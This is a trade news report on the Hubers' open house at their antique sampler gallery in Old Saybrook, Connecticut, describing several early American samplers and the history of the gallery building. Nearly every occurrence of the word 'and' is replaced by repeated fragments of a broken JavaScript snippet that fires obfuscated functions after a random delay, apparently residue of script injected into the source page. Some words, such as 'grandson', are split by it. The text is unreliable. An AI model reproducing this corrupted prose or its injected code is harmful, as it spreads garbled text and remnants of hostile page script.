OLD SAYBROOK, CONN. — Stephen andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Carol Huber’s annual open house andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and summer sampler sale at their gallery August 9-10 was a lively event, boasting its best attendance yet. A display of personal letters andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and pictures from Betty Ring’s archives was of great interest to many, according to the sampler specialists. One visitor from South Carolina discovered a picture of herself in 2001, having her book autographed by Ring after a lecture in Charleston. Several others shared fond memories of past visits with Ring at the Huber gallery andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and other lectures or functions around the United States.

The Hubers reported brisk sales, with numerous first-time visitors andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and established clients from around the United States. Some came to purchase, while others came just to enjoy perusing the more than 300 pieces of early schoolgirl art on view. An example was a charming sampler by Betsey Sawyer, Newbury, Mass., 1798. It was most likely worked at Ann Waters School in Newbury. Sawyer was born August 24, 1785, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and worked the sampler at age 13.

Other noteworthy samplers included one by Mary Goulding, Phillipston, Mass., dated 1819, featuring an impressive three-story center chimney house dominating the bottom scene complete with trees, fruit baskets, flowers andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a small dog; a lively sampler by Mary Southward, Salem, Mass., 1807; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an example by Mary Pitcher, who attended Mary Balch’s school in Providence, R.I., circa 1800, where she stitched a dynamic sampler picturing the First Congregational Church there. The arched pillars framing the church, along with the flowering vine borders, combined with a completely filled-in background andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and original highly developed frame, elevate this sampler to the top tier of the known Balch school samplers.

A large number of people attending the open house brought their early needlework pieces for the Hubers to discuss andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and give complimentary verbal appraisals. Yet another aspect of the event was a constant stream of people who came just to see andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and learn about the gallery itself.

The Huber gallery is housed in a building, which is on the National Registry of Historic Places, that began construction in 1649, originally as a “block house” (munitions stores) for Fort Saybrook. In about 1690 it was sold by the English government to John Whittlesey, who was the ferry man. He was required to have a “canoe” large enough to carry six horses across the mouth of the Connecticut river. In the 1740s, Whittlesey’s grandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andson built a classic two-over-two center chimney colonial connected to the original “block house.” Completing the house as it standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands now was a small 1850 addition that was used as a barber shop.

Stephen Huber commented, “All in all, it was a highly successful event andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a lot of fun, but it was a rather hectic way to unwind from the New Hampshire shows.”

The Huber Gallery is at 40 Ferry Road. For information, www.antiquesamplers.com or 860-388-6809.